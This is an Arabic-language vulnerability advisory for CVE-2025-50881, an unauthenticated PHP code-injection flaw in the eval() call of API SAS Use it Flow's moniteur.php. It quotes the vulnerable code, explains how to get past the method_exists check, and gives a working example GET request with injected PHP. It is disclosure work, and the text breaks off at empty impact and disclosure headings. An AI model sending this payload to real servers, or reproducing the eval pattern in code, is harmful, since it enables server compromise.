
API SAS استخدام التدفق RCE
المعرف: CVE-2025-50881
المنتج المتأثر: API Use it Flow الإصدار 8.2.0 (Rev 15851)، الإصدار 9.2.0 (Rev 18093)
الناشر: https://www.tenorsolutions.com (سابقًا https://api-sas.fr/)
المكونات المتأثرة: flow/admin/moniteur.php
نوع الثغرة: تنفيذ التعليمات البرمجية عن بعد (RCE) عبر حقن eval()
الخطورة: حرجة
الوصف:
البرنامج النصي flow/admin/moniteur.php معرّض لتنفيذ التعليمات البرمجية عن بعد. عند معالجة طلبات GET، يأخذ البرنامج النصي مدخلات المستخدم من معامل URL action، ويُجري تحققًا غير كافٍ، ويُدرج هذه المدخلات في سلسلة نصية ($wscom) يتم تنفيذها لاحقًا بواسطة دالة eval(). على الرغم من إجراء فحص ، فإنه يتحقق فقط من الجزء من إدخال المستخدم القوس الأول ، مما يسمح للمهاجم بإلحاق كود PHP تعسفي بعد هيكل استدعاء دالة صالح. الاستغلال الناجح يسمح لمهاجم غير مصادق أو مصادق بشكل تافه بتنفيذ كود PHP تعسفي على الخادم بصلاحيات عملية خادم الويب.
method_exists()(مقاطع الكود المعرضة للخطر:
الملف: flow/admin/moniteur.php
قراءة إدخال المستخدم (السطر ~45):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
تعليق: $action مشتقة مباشرة من إدخال المستخدم ($_GET['action']) مع فك تشفير URL وتحويل الكيانات HTML فقط، وهو ما لا يمنع حقن الكود.
بناء سلسلة الأوامر (السطر ~47):
$wscom='$ws->'.$action;
تعليق: يتم دمج $action المتحكم به من المستخدم في السلسلة $wscom.
تحقق غير كافٍ (السطر ~49):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
تعليق: يتم التحقق فقط من جزء $action قبل القوس الأول مقابل الطرق الصالحة في الكلاس UIFWebService.
تنفيذ الكود عبر eval() (السطر ~50):
eval('$res=' . $wscom . ';');
تعليق: يتم تنفيذ السلسلة المبنية $wscom، التي تحتوي على إدخال المستخدم، ككود PHP.
الاستغلال:
يمكن للمهاجم صياغة طلب GET إلى moniteur.php مع توفير معاملات login و password عشوائية (حيث تُستخدم للمصادقة داخل الدالة المُستدعاة، وليس من أجل eval نفسه) ومعامل action خبيث. يجب أن يبدأ معامل action باسم دالة صالح من الكلاس UIFWebService (مثل get_data) لاجتياز فحص method_exists، متبوعًا بكود PHP محقون.
مثال على الحمولة:
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
تؤدي هذه الحمولة إلى قيام eval() بتنفيذ كود مشابه لـ:
$res = $ws->get_data(1);phpinfo();$res=0;;
يُنفذ ذلك دالة get_data، ثم ينفذ phpinfo()، وأخيرًا يعين $res إلى 0.
التأثير: يمكن للمهاجم تنفيذ أوامر تعسفية على الخادم، مما قد يؤدي إلى:
الإفصاح: